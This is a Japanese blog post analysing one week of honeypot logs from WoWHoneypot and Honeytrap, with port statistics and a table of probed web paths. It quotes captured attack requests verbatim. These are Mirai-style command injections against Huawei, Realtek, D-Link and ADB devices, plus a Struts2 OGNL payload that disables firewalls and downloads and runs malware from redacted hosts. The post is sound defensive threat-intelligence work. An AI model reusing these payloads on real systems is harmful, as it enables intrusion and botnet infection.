約1週間程度のログが溜まったので、1週間でどのぐらいの情報が集められたかをまとめてみました。 普段からハニーポットを持っている人は自宅のハニーポットの比較、ハニーポットを初めたいと思っている人はどんな情報を集められるか知ってもらえればいいなーと思って、この記事を書きました。
現在、運用しているのは WoWHoneypotとHoneytrapで、解析基盤には Splunkを利用しています。Splunkはある程度自動的にログを正規化してくれるので、GUIで分析したい人には結構おすすめです。分析方法はまだまだ模索段階なので、ある程度まとまったら記事にして共有したいと思います。
マルウェアの分析もしたいと思いますが、ダウンロード不可になっているものも多く、ある程度リアルタイムで見ていないと、分析は厳しいかもしれません。今回検知したURLもダウンロード出来ないものが多数でした。単純にマルウェアを捕獲したいと考えている人は ハニーポットのCowrieで擬似的に攻撃者を侵入させ、ファイルをローカルにダウンロードさせる方が収集できると思います。
それでは、2018/8/11 - 8/17 の分析結果は以下となります。
Honeytrap
1.検知傾向



宛先ポート別の円グラフ (左:データサイズ 0byte 右:データサイズ 1byte以上)
1日の平均検知数はおよそ7,500件であり、うちおよそ半分はポートが空いているかの調査行為でした。データサイズの有無に関わらずに検知数が多かったポートは 445ポートとなります。ペイロードの全てを見ていないので断定することは出来ないですが、EternalBlue 実行のための調査行為もしくは EternalBlue による攻撃行為ではないか推測します。実際に、セキュリティベンダーのレポートからも EternalBlue による被害が多数確認されているとの報告もあります[1]。ハニーポットでこれだけ検知していることを考えるとまだまだ攻撃に利用されていると思いますので、 外部にポート 445 を公開しないよう注意が必要だと判断します(そもそも、この記事を読んでいる人でポート445の危険性を分かっていない人はいないと思いますが。。。)
次にデータサイズが1byte以上で普段は見ないポートとして、52869ポートの検知が多くあります。このポートで検知していた攻撃は CVE-2014-8361 の脆弱性を狙った攻撃です[2]。対象製品はD-Link xxx シリーズおよびRealtek SDK(いずれもルータ)であり、今流行りのIoTボットへの感染を狙ったものです。
<マルウェアダウンロード>
ポート 37215
① Huawei HG532 の脆弱性を狙った攻撃(CVE-2017-17215)
→ アクセス先からマルウェアのダウンロード不可であり、特定は出来ませんでしたが、おそらくMirai関連のマルウェアと思われます。
POST /ctrlt/DeviceUpgrade_1 http/1.1
Content-Length: 430
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1",
response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
<?xml version="1.0" ?><s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox rm -rf /tmp/*; /bin/busybox wget -g xxx[.]xx[.]xx[.]xxx -l /tmp/o20Xz -r /huawei; /bin/busybox chmod 777 * /tmp/o20Xz; /tmp/o20Xz huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
ポート 52869
① Huawei HG532 の脆弱性を狙った攻撃(CVE-2017-17215)
→ アクセス先からマルウェアのダウンロード不可であり、特定は出来ませんでしたが、おそらくMirai関連のマルウェアと思われます。
POST /ctrlt/DeviceUpgrade_1 http/1.1
Content-Length: 430
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", resPOST /picsdesc.xml http/1.1
Content-Length: 630
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var/; wget hxxp://xxx.xx.xx.xx/mips -O bt; chmod +x bt; ./bt mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
②D-Link xxx シリーズおよびRealtek SDKの脆弱性を狙った攻撃(CVE-2014-8361)
→Mirai関連のマルウェアとなります。
POST /picsdesc.xml http/1.1
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
User-Agent: Hello-World
<?xml version="1.0" ?><s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var/; wget hxxp://xxx.xxx.xx.xx/mips -O am; chmod +x am; ./am mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
ポート 8080:
① D-Link の脆弱性 を狙った攻撃
→Mirai亜種LMAO/2.0 のダウンロードを狙った攻撃を思われます。
GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://xxx.xxx.xx.xx/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ http/1.1
User-Agent: LMAO/2.0
ポート 5555:
Android Debug Bridge (ADB) の脆弱性を狙った攻撃
→IoTボットへの感染を狙った攻撃と思われます。
shell:cd /data/local/tmp;wget hxxp://xxx.xxx.xx.xxx/br -O- >br;sh br;busybox wget hxxp://xxx.xxx.xx.xxx/r -O- >r;sh r;curl hxxp://xxx.xxx.xx.xxx/c >c;sh c;busybox curl hxxp://xxx.xxx.xx.xxx/bc >bc;sh bc;rm -rf bc br r c;.
WoWHoneypot
1.検知傾向

WoWHoneypotは1日平均70件の検知でした。8/12はスキャンツールを回されたために増加した件数となっています。検知したパスおよびクエリのTOP10は以下となっています。
<検知したパスおよびクエリのTOP10>
| パスおよびクエリ | 検知数 | 概要 |
| / | 43 | indexファイルへのアクセス |
| /index.action | 13 | CVE-2017-5638 の脆弱性を狙った攻撃 |
| /manager/html | 10 | Tomcat管理ページに対する調査行為 |
| /MyAdmin/scripts/setup.php | 5 | PHPMyAdminが存在するかの調査行為 |
| /phpMyAdmin/scripts/setup.php | 4 | PHPMyAdminが存在するかの調査行為 |
| /qq.php | 4 | PHPのdie関数が実行できるかの調査行為 |
| /phpMyAdmin/index.php | 3 | PHPMyAdminが存在するかの調査行為 |
| /PMA/index.php | 2 | PHPMyAdminが存在するかの調査行為 |
| /admin/PMA/index.php | 2 | PHPMyAdminが存在するかの調査行為 |
| /admin/phpMyAdmin/index.php | 2 | PHPMyAdminが存在するかの調査行為 |
検知した大半が調査行為であり、実際に攻撃を仕掛けているものは少数でした。その中でも、2017年のApache Struts2の脆弱性を狙ったものを多く検知していました。PoCコードが公開されているおよび任意のコードが実行可能であることから、未だに検知し続けていると推測します。
今回、検知したものの中で任意のコード実行を狙っていた攻撃は以下となっています。
①Apache Struts2 の脆弱性(CVE-2017-5638) の脆弱性を狙った攻撃
→ マルウェアのダウンロードはうまく出来なかったため、脆弱性があるかの調査行為。もしくはリンク切れが想定されます。前から検知している攻撃手法で流れは以下となります。
1. iptableやSuSEfirewall2を停止
2.マルウェアをダウンロード
GET /index.action HTTP/1.1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c hxxp://xxx.xxxxx.xxx:xxxxxx/linux;chmod 777 linux;./linux;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
②D-Linkの脆弱性を狙った攻撃
→いずれも Mirai系のマルウェアであり、User-Agentに特徴があります。
例:LMAOやHakai など
GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://xxx.xxx.xx.xx/k%20-O%20-%3E%20/tmp/k;sh%20/tmp/k%27$ HTTP/1.1
User-Agent: Hello, World
GET /login.cgi?cli=aa%20aa%27;wget%20http://xxx.xxx.xx.xx/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1
User-Agent: LMAO/2.0
GET /login.cgi?cli=aa%20aa%27;wget%20http://xx.xxx.xxx.xx/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1
User-Agent: Hakai/2.0
今回は初回であることもあり、気合いを入れて作成してみました。
分析は以上となります。マルウェアの詳細な解析などは時間があるときに実施しようと思っており、月次レポート作成時に報告出来ればと思っています。
<参考>
[1] サイバー救急センターレポート 第4号 PDF版
https://www.lac.co.jp/lacwatch/pdf/20180815_cecreport_vol4.pdf
[2]Realtek SDK - Miniigd UPnP SOAP Command Execution (Metasploit)
https://www.exploit-db.com/exploits/37169/
<検知したWoWHoneypotのパスおよびクエリ一覧>
| パスおよびクエリ | 検知数 |
| / | 43 |
| /index.action | 13 |
| /manager/html | 10 |
| /MyAdmin/scripts/setup.php | 5 |
| /phpMyAdmin/scripts/setup.php | 4 |
| /qq.php | 4 |
| /login.cgi?cli=aa%20aa%27;wget%20hxxp://xxx.xxx.xx.xx/k%20-O%20-%3E%20/tmp/k;sh%20/tmp/k%27$ | 4 |
| /phpMyAdmin/index.php | 3 |
| /PMA/index.php | 2 |
| /admin/PMA/index.php | 2 |
| /admin/phpMyAdmin/index.php | 2 |
| /cmd.php | 2 |
| /cmx.php | 2 |
| /log.php | 2 |
| /phpMyAdmin/phpMyAdmin/index.php | 2 |
| /pma/scripts/setup.php | 2 |
| /pmd/index.php | 2 |
| /test.php | 2 |
| /phpStudy.php | 2 |
| /q.php | 2 |
| /qaq.php | 2 |
| /xx.php | 2 |
| /. | 1 |
| /.well-known/security.txt | 1 |
| /?XDEBUG_SESSION_START=phpstorm | 1 |
| /HNAP1 | 1 |
| /HNAP1/ | 1 |
| /Nmap/folder/check1534083716 | 1 |
| /NmapUpperCheck1534083716 | 1 |
| /_query.php | 1 |
| /admin/assets/js/views/login.js | 1 |
| /admin/index.php | 1 |
| /admin/mysql/index.php | 1 |
| /admin/mysql2/index.php | 1 |
| /admin/phpmyadmin2/index.php | 1 |
| /appserv.php | 1 |
| /ccvv | 1 |
| /claroline/phpMyAdmin/index.php | 1 |
| /cmdd.php | 1 |
| /cmv.php | 1 |
| /currentsetting.htm | 1 |
| /db/index.php | 1 |
| /db/scripts/setup.php | 1 |
| /dbadmin/index.php | 1 |
| /desktop.ini.php | 1 |
| /device_description.xml | 1 |
| /evox/about | 1 |
| /favicon.ico | 1 |
| /hell.php | 1 |
| /help-e.php | 1 |
| /index.php | 1 |
| /java.php | 1 |
| /knal.php | 1 |
| /lala-dpr.php | 1 |
| /lala.php | 1 |
| /logon.php | 1 |
| /lol.php | 1 |
| /muhstik-dpr.php | 1 |
| /muhstik.php | 1 |
| /muhstik2.php | 1 |
| /muhstiks.php | 1 |
| /myadmin/index.php | 1 |
| /myadmin2/index.php | 1 |
| /mysql-admin/index.php | 1 |
| /mysql/index.php | 1 |
| /mysql/scripts/setup.php | 1 |
| /mysqladmin/index.php | 1 |
| /mysqladmin/scripts/setup.php | 1 |
| /nmaplowercheck1534083716 | 1 |
| /phpMyAdmin.old/index.php | 1 |
| /phpMyAdminold/index.php | 1 |
| /phpMyadmin_bak/index.php | 1 |
| /phpadmin/index.php | 1 |
| /phpma/index.php | 1 |
| /phpmyadmin-old/index.php | 1 |
| /phpmyadmin0/index.php | 1 |
| /phpmyadmin1/index.php | 1 |
| /phpmyadmin2/index.php | 1 |
| /pma-old/index.php | 1 |
| /pmamy/index.php | 1 |
| /pmamy2/index.php | 1 |
| /pmd_online.php | 1 |
| /qnfxcjqr | 1 |
| /robots.txt | 1 |
| /scripts/setup.php | 1 |
| /setup.php | 1 |
| /shell.php | 1 |
| /sitemap.xml | 1 |
| /sqladmin/scripts/setup.php | 1 |
| /text.php | 1 |
| /tools/phpMyAdmin/index.php | 1 |
| /typo3/phpmyadmin/index.php | 1 |
| /uploader.php | 1 |
| /w00tw00t.at.blackhats.romanian.anti-sec:) | 1 |
| /web/phpMyAdmin/index.php | 1 |
| /webdav/ | 1 |
| /winbox.png | 1 |
| /wp-config.php | 1 |
| /www/phpMyAdmin/index.php | 1 |
| /x | 1 |
| /xampp/phpmyadmin/index.php | 1 |
| /xmlrpc.php | 1 |
| /z.php | 1 |
| /phpmyadmin/%20index.php | 1 |
| /pmd/%20index.php | 1 |
| hxxp://xxx.xxx.xxx.xx/check_proxy | 1 |
| /ipc$ | 1 |
| /12.php | 1 |
| /1213.php | 1 |
| /3.php | 1 |
| /56.php | 1 |
| /9678.php | 1 |
| /ak.php | 1 |
| /ak47.php | 1 |
| /ak48.php | 1 |
| /angge.php | 1 |
| /aotu.php | 1 |
| /aw.php | 1 |
| /bak.php | 1 |
| /cainiao.php | 1 |
| /conflg.php | 1 |
| /data.php | 1 |
| /db.init.php | 1 |
| /db__.init.php | 1 |
| /db_dataml.php | 1 |
| /db_desql.php | 1 |
| /db_session.init.php | 1 |
| /defect.php | 1 |
| /fack.php | 1 |
| /feixiang.php | 1 |
| /h1.php | 1 |
| /hh.php | 1 |
| /hm.php | 1 |
| /images.php | 1 |
| /infoo.php | 1 |
| /ip.php | 1 |
| /l7.php | 1 |
| /l8.php | 1 |
| /lindex.php | 1 |
| /m.php?pbid=open | 1 |
| /min.php | 1 |
| /mx.php | 1 |
| /mz.php | 1 |
| /pe.php | 1 |
| /phpinfi.php | 1 |
| /post.php | 1 |
| /qwe.php | 1 |
| /s.php | 1 |
| /sdk | 1 |
| /sheep.php | 1 |
| /ssaa.php | 1 |
| /system.php | 1 |
| /w.php | 1 |
| /wan.php | 1 |
| /wanan.php | 1 |
| /wc.php | 1 |
| /webslee.php | 1 |
| /weixiao.php | 1 |
| /wp-admins.php | 1 |
| /wshell.php | 1 |
| /wuwu11.php | 1 |
| /xiao.php | 1 |
| /xiaoma.php | 1 |
| /xiaomae.php | 1 |
| /xiaomar.php | 1 |
| /xshell.php | 1 |
| /xw.php | 1 |
| /xw1.php | 1 |
| /yao.php | 1 |
| /yumo.php | 1 |
| /zuo.php | 1 |
| /zuoshou.php | 1 |
*1:#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class